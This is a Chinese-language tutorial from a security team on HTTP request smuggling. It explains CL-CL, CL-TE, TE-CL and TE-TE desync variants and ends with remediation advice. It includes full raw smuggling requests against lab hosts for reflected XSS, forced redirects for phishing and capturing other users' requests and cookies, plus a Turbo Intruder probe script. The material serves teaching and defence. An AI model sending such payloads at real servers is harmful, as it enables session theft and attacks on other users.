淺析HTTP走私攻擊
作者:錦行科技-安全平臺部 Ink23y
如今攻擊手段日益層出不窮,令企業防不勝防,因此企業不能再以原有的防守思維去防守。基於攻擊者的視角,瞭解攻擊者的攻擊手法才能更好地做好防守。本次介紹的是攻擊者常用的一種攻擊手法”HTTP請求走私”,它可以使攻擊者能夠繞過安全控制,未經授權訪問敏感資料並直接危害其他應用程式使用者。本文由錦行科技的安全研究團隊提供,旨在透過剖析”HTTP請求走私”的攻擊過程,幫助企業進一步瞭解攻擊者的攻擊思路,做好應對策略。
1.什麼是HTTP請求走私
在複雜的網路環境下,不同的伺服器以不同的方式實現RFC標準,利用前後端伺服器對資料包的邊界瞭解不一致的情況下,向一個請求資料包中插入下一個請求資料包的一部分,在前端伺服器角度看來,它屬於一個完整的請求,而在後端伺服器看來,它屬於兩次請求,前端請求的一部分被後端伺服器解釋為下一個請求的開始。因此,它使攻擊者可以繞過安全控制,未經授權訪問敏感資料並直接危害其他應用程式使用者。
2.產生的原因
在HTTP1.1後,增加了一個特殊的請求頭Connection: Keep-Alive,建立tcp持續通道,進行一次tcp握手,就能傳送多個請求。但這樣子只能是請求一次響應一次。為了提高資料傳輸的效率,減少阻塞。後來就有了HTTP Pipelining(管線化)欄位,它是將多個http請求批次提交,而不用等收到響應再提交的非同步技術。如下圖就是使用Pipelining和非Pipelining
這意味著前端與後端必須短時間內對每個資料包的邊界大小達成一致,否則,攻擊者就可以構造傳送一個特殊的資料包,在前端看來它是一個請求,但在後端卻被解釋為了兩個不同的HTTP請求。這就導致攻擊者可以在下一個使用者傳送的合法資料包前惡意新增內容。如圖,走私的內容(“字首”),以橙色突出顯示:
假設前端考慮的是內容長度頭部(Content-Length)值作為資料包結束的邊界,後端優先考慮的是Transfer-Encoding頭部。那麼從後端角度看,如下圖藍色部份字型屬於一個資料包,而紅色部份字型屬於下一個資料包的開始部份。這樣就成功從前端“走私”了一個資料包。
3.攻擊類別
3.1.CL不為0的GET請求
假設前端代理伺服器允許GET請求攜帶請求體,而後端伺服器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的 Content-Length頭,不進行處理。這就有可能導致請求走私。
比如傳送下面請求:
GET / HTTP/1.1
Host:example.com
Content-Length:44
GET /socket HTTP/1.1
Host: example.com
前端伺服器透過讀取Content-Length,確認這是個完整的請求,然後轉發到後端伺服器,而後端伺服器因為不對Content-Length進行判斷,由於Pipeline的存在,它認為這是兩個請求,分別為
第一個
GET / HTTP/1.1
Host: example.com
第二個
GET /socket HTTP/1.1
Host: example.com
則相當於走私了請求
3.2 CL-CL
在RFC7230規範中,規定當伺服器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要返回400錯誤。但難免會有伺服器不嚴格遵守該規範。假設前端和後端伺服器都收到該類請求,且不報錯,其中前端伺服器按照第一個Content-Length的值對請求進行為資料包定界,而後端伺服器則按照第二個Content-Length的值進行處理。
這時攻擊者可以惡意構造一個特殊的請求:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A
CDN伺服器獲取到的資料包的長度6,將上述整個資料包轉發給後端的伺服器,而後端伺服器獲取到的資料包長度為5。當讀取完前5個字元後,後端伺服器認為該請求已經讀取完畢,然後傳送出去。而此時的緩衝區去還剩餘一個字母 A,對於後端伺服器來說,這個 A是下一個請求的一部分,但是還沒有傳輸完畢。此時恰巧有一個其他的正常使用者對伺服器進行了請求,則該A字母會拼湊到下一個正常使用者請求的前面,攻擊在此展開。
3.3 CL-TE
所謂CL-TE,顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個請求頭d的請求時,前端代理伺服器按照Content-Length這一請求頭定界,而後端伺服器則以Transfer-Encoding請求頭為標準。
構造資料包:
POST / HTTP/1.1
Host: example.com
Content-Length: 16
Transfer-Encoding: chunked
0
chunkedcode
前端伺服器處理Content-Length頭並確定請求主體長度為16個位元組,直到chunkedcode結束。此請求將轉發到後端伺服器。
後端伺服器處理Transfer-Encoding標頭,因此將訊息體視為使用分塊編碼。它處理第一個塊,它被稱為零長度,因此被視為終止請求。緩衝區內還剩下chunkedcode,由於存在pipeline技術,後端伺服器將這些位元組視為佇列中下一個請求的開始。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意:需要傳送兩次請求
3.4 TE-CL
這種情況則屬於前端伺服器處理Transfer-Encoding請求頭,而後端伺服器處理Content-Length請求頭。
構造資料包:
Host:example.com
Content-Length: 3
Transfer-Encoding: chunked
chunkedcode
0
注意0後面加兩個\r\n
前端伺服器處理Transfer-Encoding請求頭,因此將訊息體視為使用分塊編碼,處理第一塊時,有11個位元組,直到chunkedcodede的最後一個位元組。開始處理第二個塊,第二塊是0個位元組,視為終止請求。此時把請求轉發到後端。而後端則在11處完成了對第一個資料包的讀取,chunkedcode\r\n0為下一個資料包的開始部份。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意:需要傳送兩次請求
3.5 TE-TE
前端伺服器處理第一個Transfer-Encoding請求頭,後端伺服器處理第二個Transfer-Encoding請求頭。
構造資料包:
Host:example.com
Content-length: 3
Transfer-Encoding: chunked
Transfer-encoding: error
chunkedcode
0
這裡是用了兩個Transfer-Encoding 欄位,並且第二個 TE 欄位值為錯誤值,這裡 前端伺服器選擇對第一個 Transfer-Encoding進行處理,整個請求正常,原封不動轉發給後端伺服器,而後端伺服器則以第二個Transfer-Encoding 欄位進行優先處理,而第二個Transfer-Encoding 欄位非標準值,根據RPC規範,則會取Content-Length欄位進行處理,這樣這個請求就會被拆分為兩個請求。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意:需要傳送兩次請求
4.攻擊擴充套件
4.1.smuggling+reflected xss
單純的UA處的xss並沒有什麼危害,但可以結合請求走私攻擊進行利用來提升危害
我們可以構造以下資料包,只要傳送一次:
POST / HTTP/1.1
Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=3 HTTP/1.1
User-Agent: “>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
會在該網站的任意頁面觸發xss,因為在http序列中,走私的請求會插到使用者對網站的請求前面
4.2 direct+smuggling
該場景基於url跳轉,把使用者重定向到一個固定網頁,lab為我們提供個跳轉api,/post/next?postId=3路由跳轉到的是/post?postId=4。
此時我們可以利用走私攻擊並配合重定向進行釣魚。
傳送以下資料包一次:
POST / HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然後訪問原網站任意頁面,都會被重定向到/post?postId=4
4.3竊取使用者請求
利用走私攻擊捕捉使用者請求資料包,竊取cookie
我們在傳送評論處的api介面構造請求包如下
傳送以下資料包:
POST / HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F
成功把使用者的請求拼接到走私請求的comment引數上,如下圖:
5.案例
該案例利用的是CL-TE的攻擊方式。根據RFC,當Content-Length和Transfer-Encoding兩個標頭同時出現在同一請求包時,Transfer-Encoding始終被優先處理。但是,如果Transfer-Encoding標頭格式錯誤,則前端伺服器和後端伺服器之間的對請求的解釋可能會有所不同。在該站點上發現的CLTE問題是,在請求包中Transfer-Encoding 和:之間加多一個空格,使該欄位的格式為非標準值,此時前端伺服器依據RPC規範,優先處理Content-Length,而後端伺服器並沒嚴格遵守RPC規範,以Transfer-Encoding為依據進行處理資料包。
惡意請求的說明:
可見使用者的正常請求被拼接到X欄位,而X請求頭非標準請求頭,故忽略,而該使用者的cookie欄位也被拼接到了該走私的請求上。
Burp Collaborator Client上能成功竊取到使用者的cookie
6.測試工具
在burpsuite上查詢到請求包,右鍵lauch smuggle probe,隨後在burpsuite的掃描結果上顯示報告。
進一步確定漏洞。
右鍵點選”smuggle attack(CL.TE)”
出現Turbo Intruder指令碼
# if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time
def queueRequests(target, wordlists):
# to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
# This will prefix the victim’s request. Edit it to achieve the desired effect.
prefix = ”’GET /hopefully404 HTTP/1.1
X-Ignore: X”’ //走私一個uri為/hopefully404的請求包,下一個使用者的請求會拼接到X-Ignore欄位後面,因此要是存在走私漏洞,則會返回一個狀態碼為404的資料包
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
點選”attack”進行爆破測試 :
看到存在404狀態碼的資料包,說明存在http走私漏洞
修復方案:
1、前端伺服器對前段輸入規範化
2、前端伺服器使用HTTP2.0
3、後端伺服器丟棄非正常請求
相關文章
- 協議層的攻擊:HTTP請求走私2019-10-11協議HTTP
- 淺析HTTP資料接收不同步攻擊2020-04-16HTTP
- 解密協議層的攻擊——HTTP請求走私2021-02-19解密協議HTTP
- 分析HTTP請求以降低HTTP走私攻擊HTTP資料接收不同步攻擊的風險2022-03-02HTTP
- 【技術向】HTTP/1與HTTP/2(H2C)走私攻擊2021-04-08HTTP
- TFTP反射放大攻擊淺析2020-08-19FTP反射
- RPO攻擊技術淺析2018-04-11
- 淺析DDOS攻擊防護思路2019-10-22
- 服務端模板注入攻擊 (SSTI) 之淺析2020-08-19服務端
- HTTP Cache 淺析2019-03-18HTTP
- iOS環境下的中間人攻擊風險淺析2020-08-19iOS
- 通過企業服務治理中心呼叫第三方介面差點造成http請求走私攻擊2020-11-30HTTP
- CSRF 攻擊深入淺出2018-04-12
- 淺析一次HTTP請求2019-01-18HTTP
- 淺談DDos攻擊與防禦2018-06-23
- 【web安全】深入淺出XSS攻擊2019-05-02Web
- 利用HTTP host頭攻擊的技術2020-08-19HTTP
- 淺談 CC 攻擊的防護方法2019-01-07
- 淺談HASH長度擴充攻擊2020-09-07
- Akamai淺談網路攻擊的防禦2019-01-09AI
- 前端安全 — 淺談JavaScript攔截XSS攻擊2021-06-15前端JavaScript
- Java HTTP Host 頭攻擊原理以及如何防禦2019-02-21JavaHTTP
- 淺談基於 NTP 的反射和放大攻擊2020-08-19反射
- DDoS攻擊、CC攻擊的攻擊方式和防禦方法2019-02-27
- 【由淺入深_打牢基礎】HOST頭攻擊2022-06-20
- iOS Block淺淺析2019-03-10iOSBloC
- 檢測到目標URL存在Http Host頭攻擊漏洞2019-01-19HTTP
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?2023-02-13
- RunLoop 淺析2019-01-17OOP
- 淺析 ReentrantLock2019-04-01ReentrantLock
- Unstated淺析2019-01-23
- 淺析SharedPreferences2018-12-02
- Nginx淺析2018-05-23Nginx
- 淺析Promise2018-06-28Promise
- ejs 淺析2018-06-23JS
- 淺析KubernetesStatefulSet2018-06-26
- AIDL淺析2018-05-27AI
- MongoDB淺析2019-06-28MongoDB